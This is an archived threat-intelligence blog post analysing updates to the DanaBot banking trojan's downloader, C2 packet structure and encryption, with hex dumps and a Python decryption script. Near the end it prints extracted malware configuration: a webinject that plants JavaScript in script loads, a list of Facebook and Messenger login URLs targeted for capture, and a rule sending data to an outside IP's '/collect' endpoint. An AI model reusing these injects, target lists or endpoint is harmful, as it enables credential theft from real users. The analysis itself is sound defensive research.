DanaBot Communications Update

Archived: 2026-04-06 00:15:34 UTC

Since the last blog post from Proofpoint about the version 4 of DanaBot, the new samples available in Threat Intel repository integrate minor changes in their architecture and communications. This short blog post is about the differences spot between those different versions. As a reminder, you can find details on the four major versions here:

Unlike the previous versions, the latest samples found in public repositories included a component that first downloaded and loaded the main module along with configurations and plugins. That's why two TCP stream appear instead of one in the version 4:

The first TCP connection comes from the Downloader, who downloads the main module (about 14 Mb of encrypted and compressed data) and the second one from the main module itself (similar to version 4).

The requests sent above respect the DanaBot communication protocol described by ESET. The first packet is used to transmit the new RSA public key generated on the host, and the second one is a packet with a very specific structure used to send instructions and data to the C2.

Like version 4, the packet structure is binary format and has a plaintext header (0x1C-bytes long). The packet data structure size is lower than version 4 with 455 bytes and some hashes embedded in the structure are formatted differently. Indeed, before all hashes were formatted using the Delphi TMemoryStream classes and now only the "random hash" has kept this format. You can find below the packet structure used by the Downloader to download the main module:

You can find below an example of request generated and sent by the Downloader to download the main module:

```
 00000000: [c7  01  00  00][12  66  00  00  00  00  00  00][d9  67  00  00    .....f.......g..
00000010:  00  00  00  00][04  00  00  00][d0  0f  00  00][00  00  00  00]   ................
00000020: [00  00  00  00][00  00  00  00  00  00  00  00  00  00  00  00    ................
00000030:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000040:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000050:  00  00  00  00  00  00  00  00  00  00  00  00  00][20][36  41  44    ............  6AD
00000060:  39  46  45  34  46  39  45  34  39  31  45  37  38  35  36  36    9FE4F9E491E78566
00000070:  35  45  30  44  31  34  34  46  36  31  44  41  42][20][36  41    5E0D144F61DAB  6A
00000080:  44  39  46  45  34  46  39  45  34  39  31  45  37  38  35  36    D9FE4F9E491E7856
00000090:  36  35  45  30  44  31  34  34  46  36  31  44  41  42][20][35    65E0D144F61DAB  5
000000a0:  34  37  34  41  39  35  46  34  39  37  36  42  43  31  38  33    474A95F4976BC183
000000b0:  37  33  31  31  45  39  44  33  42  32  36  46  39  36  45][20    7311E9D3B26F96E
000000c0:  00  00  00][ef  16  f0  dd][46  37  39  30  45  45  34  45  37    .......F790EE4E7
000000d0:  38  46  32  43  38  34  34  37  41  38  38  30  43  46  31  43    8F2C8447A880CF1C
000000e0:  43  44  42  32  46  46  32  00][00  00  00  00  00  00  00  00    CDB2FF2.........
000000f0:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
```

```
00000100:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000110:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000120:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000130:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000140:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000150:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000160:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000170:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000180:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
00000190:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
000001a0:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
000001b0:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00    ................
000001c0:  00  00  00  00  00  00  00]                                        .......
```

Each data received from the C2 is encrypted using AES and the key located in the last 80 bytes is itself encrypted using RSA. The needed RSA key is the private key generated by the Downloader.

The main module is protected by a second layer of encryption on top of DanaBot communication. Indeed, the module is encrypted using the same technics, but the needed RSA key is the one embedded in the Downloader.

The AES deciphering is using CBC mode with a null IV and it operates by blocks of 0x10010 bytes. It can be resumed with the following scripts:

```
 from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from wincrypto import CryptImportKey, CryptDecrypt
import pwn
import sys


if len(sys.argv) == 3:
    hardcoded_key = open(sys.argv[1], 'rb').read()
    enc_data = open(sys.argv[2], 'rb').read()
else:
    exit()


def aes_decrypt(key, data):
    cipher = AES.new(key, AES.MODE_CBC, iv=b"\x00" * 16)
    plaintext = unpad(cipher.decrypt(data), AES.block_size)
    return plaintext


rsa_pub_key = CryptImportKey(hardcoded_key)
encrypted_aes_key = CryptDecrypt(rsa_pub_key, enc_data[-0x80:])
print("AES key : %s" % encrypted_aes_key[-0x20:].hex())
```

```
enc_data = enc_data[0x0:-0x80]
aes_bloc_size = pwn.u32(enc_data[-0x4:])
enc_data = enc_data[0x0:-0x4]

len_enc_data = len(enc_data)
offset = 0
final = b''
while len_enc_data > 0:
    if len_enc_data <= 0x100000:
        pdwDataLen = len_enc_data
    else:
        pdwDataLen = 0x100000 + aes_bloc_size
    dec = aes_decrypt(encrypted_aes_key[-0x20:], enc_data[offset:offset + pdwDataLen])
    final = final + dec
    len_enc_data = len_enc_data - pdwDataLen
    offset = offset + pdwDataLen

with open("./aes_decrypt_file.bin", "wb") as f:
    f.write(final)
```

Once decrypted, the first four bytes are the compressed buffer size followed by the Zlib magic headers and data:

```
 00000000:[35  29  d1  00][78  9c][bc  bd  0b  7c  53  55  b6  30  7e  92    5)..x....|SU.0~.
00000010: 9c  36  69  1b  9a  14  82  14  44  2c  1a  15  04  91  5a  54    .6i.....D,....ZT
00000020: ..  ..]
```

The uncompressed data is a DLL (the main module) similar to the unpack main module in version 4, although it seems bigger with a size around 18M. Further communications from the main module are similar to version 4 as described in the Proofpoint blog post, except that the data structure is the same as talked previously:

DanaBot commands and sub-commands are used to indicate to the recipient how to handle data. On the version analyzed, all the main commands (with id 2048) and sub-commands described by Proofpoint are still present except for the sub-command 10 since the Tor module is already included.

This sub-command is used for online functionalities, that's why C2 reply may be empty. By analyzing these parts, two "online" functionalities were added. The first one may still be under development. Indeed, except the strings "InstallRDP" found in the function, nothing much is done.

The second one is very similar to the stealer plugin (started in a thread at the beginning of the process) and the following information is gathered on the victim host:

This sub-command is mainly used to activate/deactivate plugins and set options. First, the main module is asking to the C2 the list of "CommandRecords" available by sending the sub-command 2. A list of hashes is received:

```
 00000000: 3336 3931 4335 4244 3239 4239 4432 3333  3691C5BD29B9D233
00000010: 3933 3946 4345 4538 4438 3444 3246 3845  939FCEE8D84D2F8E
00000020: 0d0a 3342 3446 4438 4234 4530 4644 3130  ..3B4FD8B4E0FD10
00000030: 4143 4537 4443 3537 3741 3137 3033 3635  ACE7DC577A170365
00000040: 4232 0d0a 3446 3036 3833 3742 4339 3530  B2..4F06837BC950
00000050: 3237 3839 4242 4638 4639 3834 4639 3730  2789BBF8F984F970
00000060: 3841 3537 0d0a 3632 3236 4334 3531 4645  8A57..6226C451FE
00000070: 4333 3144 4346 4143 4332 3830 3437 4338  C31DCFACC28047C8
00000080: 4238 4237 4338 0d0a 3533 3530 3136 4146  B8B7C8..535016AF
00000090: 4345 3845 4432 4231 3430 3436 4338 4644  CE8ED2B14046C8FD
000000a0: 4534 4635 4244 4233 0d0a                 E4F5BDB3..
```

Then, for each of those hashes, the sub-command 3 is sent with the "CommandRecords" hash in parameters. In the data received, there is a command field that indicates to the main module how to handle and what to do with the payload located at the packet end:

```
 00000000: [20][33  36  39  31  43  35  42  44  32  39  42  39  44  32  33      3691C5BD29B9D23
00000010:  33  39  33  39  46  43  45  45  38  44  38  34  44  32  46  38    3939FCEE8D84D2F8
00000020:  45][04  00  00  00][0c  00  00  00][00  00  00  00  00  00  00    E...............
...
000006b0:  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00][0a  00    ................
000006c0:  00  00] 00  00  00  00 [33  36  30  7c  31  7c  7c  7c  0d  0a]   ......360|1|||..
```

In the above example, the command number is 12, the payload can be forward to the right function:

Since version 4, new functions were added to parse the Webinject and Webfilter configuration (Zeus style) received.

```
 set_local_variables ybhftdhnb65

set_url https://code.jquery.com/jquery*.js* https://apis.google.com/js/client.js* https://clients5.google.com/ac

data_before
*
data_end
data_inject

(function(){var s_d_i={t:1000*60*60*24*7,b:'%bot_id%',v:'%bot_version%',n:'%timenow%',s:'%local_variables=_stat_

data_end
data_after
data_end
```

```
 *|1|2||
*.youtube.com*|0|1||
*.discordapp.com*|0|1||
*.facebook.com*|0|1||
*myhentaigallery.com*|0|1||
*chat.google.com*|0|1||
*.messenger.com/ajax/*|0|1||
*.bing.com/rewardsapp/*|0|1||
*api.us-east-1.aiv-delivery.net*|0|1||
*agafurretor.com/event*|0|1||
*openclassrooms.workplace.com/api/*|0|1||
*signaler-pa.clients6.google.com*|0|1||
*drive.google.com/drive*|0|1||
*.facebook.com/ads/*|1|1||
*.messenger.com/login/password*|1|1||
*business.facebook.com*|1|1||
*.facebook.com/login.php*|1|1||
*.facebook.com/ajax/register.*|1|1||
*.facebook.com/ajax/bulk-route-definitions/*|0|1||
*.facebook.com/ajax/relay-ef/*|0|1||
*.facebook.com/ajax/webstorage/process_keys/*|0|1||
*.facebook.com/ajax/navigation/*|0|1||
*youtube-nocookie.com/youtubei/v1/log_event*|0|1||
*facebook.com/ajax/timezone/update.php*|0|1||
*facebook.com/ajax/route-definition*|0|1||
```

```
 *metrfaiuerqoiu*|https://88.150.227.98/collect|||
```

In a few weeks, the hardcoded version embedded in each sample has increased 2 or 3 times, meaning that the Trojan DanaBot is still under active development. We expect to see other new features coming in the near future and maybe another blog post with more details.

Source: https://blog.lexfo.fr/danabot-malware.html